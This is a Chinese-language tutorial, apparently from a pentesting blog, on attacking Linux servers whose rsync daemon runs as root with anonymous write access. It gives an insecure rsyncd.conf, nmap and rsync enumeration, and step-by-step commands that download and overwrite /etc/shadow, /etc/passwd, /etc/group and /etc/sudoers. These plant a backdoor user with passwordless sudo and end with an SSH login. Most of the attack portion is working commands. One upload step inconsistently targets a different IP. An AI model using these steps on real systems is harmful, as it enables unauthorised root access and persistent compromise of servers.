本文将根据针对Linux操作系统上不安全的Rsync配置,浅谈如何利用rsync服务进行攻击。
1、什么是RSYNC?
Rsync是用于在两个服务器(通常是Linux)之间传输和同步文件的实用程序。它通过检查文件大小和时间戳来确定同步。根据经验发现,在进行渗透测试期间,发现约有三分之一的服务器并没有安全配置Rsync。然而,弱配置通常会导致服务器上的敏感数据未经授权访问,甚至还会让攻击者活动webshell。
远程访问通过Rsync共享的目录需要两件事,文件共享访问和文件权限。
Rsync的配置方式如下:
1. 可以在/etc/Rsyncd.conf中定义“ 文件共享访问”, 以提供匿名或经过身份验证的访问。
2.还可以通过定义rsync服务将以其身份运行的用户,在/etc/rsyncd.conf中定义文件访问权限。如果将rsync配置为以root用户身份运行,则允许连接的任何人都可以使用root用户的特权来访问共享文件。
rsyncd.conf文件的示例,该文件允许匿名root用户访问整个文件系统:
motd file = /etc/Rsyncd.motd lock file = /var/run/Rsync.lock log file = /var/log/Rsyncd.log pid file = /var/run/Rsyncd.pid
[files] path = / comment = Remote file share. uid = 0 gid = 0 read only = no list = yes
2、对目标站点进行nmap扫描rsync服务
rsync服务默认在873端口监听。通过nmap发现开启rsync服务
nmap 10.10.10.134
列举目录和文件
列举目录 rsync 10.10.10.134 列举子目录内容 rsync 10.10.10.134::files 递归列出目录和文件 rsync -r 10.10.10.134::files/tmp/ 下载文件夹 rsync -r 10.10.10.134::files/home/test/ 通过RSYNC上传文件 使用Rsync上传文件的命令。。 上传文件 rsync ./myfile.txt 10.10.10.134::files/home/test 上载文件夹 rsync -r ./myfolder 10.10.10.134::files/home/test 通过Rsync创建新用户
如果rsync配置为以root身份运行并且可以匿名访问,则可以通过直接修改shadow,passwd,group和sudoers文件来创建新的特权Linux用户。
注意:相同的通用方法可用于提供对操作系统的完全写入访问权限的任何漏洞。其他一些示例包括NFS导出和上载以root用户身份运行的Web Shell。
通过rsync创建新用户
创建主目录让我们从创建新用户的主目录开始。
# Create local work directories mkdir demo mkdir backup cd demo # Create new user’s home directory mkdir ./myuser rsync -r ./myuser 10.10.10.134::files/home
shadow文件
/etc /shadow文件是Linux密码文件,其中包含用户信息,例如主目录和加密密码。它只能由root访问。
要通过rsync注入新的用户,必须:
1. 生成密码。
2. 下载/ etc / shadow。(备份)
3. 将新用户追加到/ etc /shadow的末尾
4. 上传/覆盖现有的/ etc /shadow
注意:确保创建系统上新用户。
创建加密密码:
openssl passwd -crypt password123 将新用户条目添加到/ etc / shadow: rsync -R 10.10.10.134::files/etc/shadow . cp ./etc/shadow ../backup echo "myuser:MjHKz4C0Z0VCI:17861:0:99999:7:::" >> ./etc/shadow rsync ./etc/shadow 10.10.10.134::files/etc/
passwd文件
/ etc / passwd文件用于跟踪有权访问系统的注册用户。它不包含加密的密码。所有用户都可以阅读。
要通过rsync注入新的用户条目,您必须:
1. 创建要注入的用户条目。
2. 下载/ etc / passwd。(并备份它,以便以后可以恢复状态)
3. 将新用户条目追加到passwd的末尾。
4. 上传/覆盖现有的/ etc / passwd
注意:可以随意更改为uid,但请确保它与/ etc / group文件中设置的值匹配。在这种情况下,UID / GUID为1021。
将新用户条目添加到/ etc / passwd: rsync -R 10.10.10.134::files/etc/passwd . cp ./etc/passwd ../backup echo "myuser:x:1021:1021::/home/myuser:/bin/bash" >> ./etc/passwd rsync ./etc/passwd 10.10.10.134::files/etc/
将新用户添加到用户组当中
/ etc / group文件用于跟踪系统上已注册的组信息。它不包含加密的密码。所有用户都可以阅读。
要通过rsync注入新的用户条目,您必须:
1. 创建要注入的用户条目。
2. 下载/ etc / group。(和备份,以防万一)
3. 将新用户条目追加到组末尾。
4. 上传/覆盖现有的/ etc / group文件。
注意:可以随意更改为uid,但请确保它与/ etc / passwd文件中设置的值匹配。在这种情况下,UID / GUID为1021。将新用户条目添加到/ etc / group:
rsync -R 10.10.10.134::files/etc/group . cp ./etc/group ../backup echo "myuser:x:1021:" >> ./etc/group rsync ./etc/group 10.10.10.134::files/etc/
创建sudoers
文件目录/ etc / sudoers文件包含允许使用sudo命令以root用户身份运行命令的用户列表。它只能由root读取。我们将对其进行修改,以允许新用户通过sudo执行任何命令。
要通过rsync注入条目,前提条件:
1. 创建要注入的用户条目。
2. 下载/ etc / sudoers。(和备份,以防万一)
3. 将新用户条目追加到sudoers的末尾。
4. 上传/覆盖现有的/ etc / sudoers文件。
将新用户条目添加到/ etc / sudoers:
rsync -R 10.10.10.134::files/etc/sudoers . cp ./etc/sudoers ../backup echo "myuser ALL=(ALL) NOPASSWD:ALL" >> ./etc/sudoers rsync ./etc/sudoers 192.168.1.171::files/etc/
然后,只需使用新创建的用户通过SSH连接,执行sudo root就完成了。